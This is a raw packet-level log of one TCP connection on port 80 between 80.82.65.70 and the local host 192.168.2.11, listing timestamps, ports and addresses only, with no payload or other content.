Dec 12, 2024 16:48:05.433944941 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.433985949 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.433994055 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.434350014 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.434739113 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.434819937 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.434838057 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.434885025 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.435499907 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.435553074 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.435626030 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.435697079 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.436347961 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.436391115 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.436450005 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.437057018 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.437210083 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.437262058 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.437881947 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.437901974 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.437962055 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.438618898 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.438735008 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.438787937 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.439384937 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.439517975 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.504162073 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.504179955 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.504199028 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.504314899 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.504338026 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.504338026 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.504390955 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.504806042 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.504864931 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.504905939 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.504954100 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.505533934 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.505595922 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.505659103 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.505659103 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.506261110 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.506330967 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.506401062 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.506702900 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.507047892 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.507107019 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.507143974 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.507191896 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.507823944 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.507893085 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.507949114 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.507988930 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.508615971 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.508671045 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.508733988 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.508785009 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.509423018 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.509526968 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.509581089 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.510154963 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.510195971 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.510217905 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.510246038 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.510987043 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.511054993 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.511122942 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.511179924 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.511768103 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.511847973 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.511854887 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.511909008 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.512490034 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.512567043 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.512593031 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.512792110 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.513293028 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.513490915 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.513541937 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.514092922 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.514234066 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.514239073 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.514288902 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.514858961 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.514899969 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.514909983 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.514938116 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.515625000 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.515708923 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.515744925 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.515851021 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.516419888 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.516518116 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.516581059 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.516621113 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.517256975 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.517359972 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.517374992 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.517429113 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.517982960 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.518042088 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.518105030 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.518196106 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.518775940 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.518825054 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.518874884 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.518944025 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.519599915 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.519748926 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.519754887 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.519784927 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.520354033 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.520483971 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.520519972 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.520545006 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.521131039 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.521208048 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.521246910 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.521330118 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.522066116 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.522106886 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.522120953 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.522150040 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.522710085 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.522772074 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.522833109 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.522950888 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.523538113 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.523597002 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.523612022 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.523644924 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.524269104 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.524337053 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.524355888 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.524383068 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.525038958 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.525140047 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.525321007 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.525814056 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.525855064 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.525904894 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.526575089 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.526782990 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.580941916 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.580982924 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.581109047 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.581109047 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.581319094 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.581376076 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.581379890 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.581496000 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.582072020 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.582134962 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.582156897 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.582284927 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.582843065 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.583049059 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.616898060 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.616942883 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.617006063 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.617276907 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.617451906 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.617460012 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.617563963 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.618069887 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.618283987 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.618328094 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.618343115 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.618818998 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.618889093 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.618922949 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.618937016 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.619631052 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.619770050 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.619774103 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.619826078 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.620404959 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.620465994 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.620481968 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.620508909 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.621171951 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.621323109 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.621367931 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.621965885 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.622098923 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.622138977 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.622726917 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.622915030 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.622961044 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.623615026 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.623667002 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.623708010 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.624304056 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.624353886 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.624424934 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.625107050 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.625190973 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.625245094 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.625291109 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.625874043 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.625961065 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.626034021 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.626635075 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.626708031 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.626842976 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.627429008 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.627504110 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.627542973 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.627635956 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.628206015 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.628360033 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.628371000 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.628403902 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.629046917 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.629149914 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.629199982 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.629854918 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.629862070 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.629921913 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.630561113 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.630654097 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.630723953 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.630852938 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.631360054 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.631474018 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.631493092 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.631593943 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.695907116 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.696073055 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.696172953 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.696172953 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.696290016 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.696355104 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.696374893 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.696414948 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.697057009 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.697120905 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.697170019 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.697695971 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.697880030 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.697931051 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.697968006 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.698014975 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.698653936 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.698728085 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.698757887 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.698807955 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.699507952 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.699556112 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.699562073 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.699626923 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.700170994 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.700217962 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.700308084 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.700352907 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.701009035 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.701057911 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.701181889 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.701251984 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.701755047 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.701806068 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.701822042 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.701881886 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.702529907 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.702634096 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.702685118 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.702764988 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.703305006 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.703397989 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.703408957 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.703470945 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.704099894 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.704157114 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.704194069 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.704242945 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.704850912 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.705015898 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.705080032 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.705696106 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.705739975 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.705780983 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.705806971 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.706500053 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.706604958 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.706609011 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.706690073 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.707206964 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.707289934 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.707442999 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.707513094 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.708034992 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.708179951 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.708225012 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.708776951 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.708837986 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.708909035 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.709023952 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.709585905 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.709773064 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.709779024 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.709831953 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.710463047 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.710545063 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.710594893 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.711193085 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.711272001 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.711297989 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.711335897 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.711899042 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.711950064 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.711982012 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.712044001 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.712688923 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.712752104 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.712785006 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.712867022 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.713464022 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.713548899 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.713593006 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.714251995 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.714298964 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.714339018 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.714381933 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.715056896 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.715095043 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.715150118 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.715977907 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.716031075 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.716056108 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.716111898 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.716634989 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.716691017 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.716803074 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.716855049 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.717396021 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.717493057 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.717500925 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.717587948 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:05.718223095 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:05.718280077 CET	49819	80	192.168.2.11	80.82.65.70
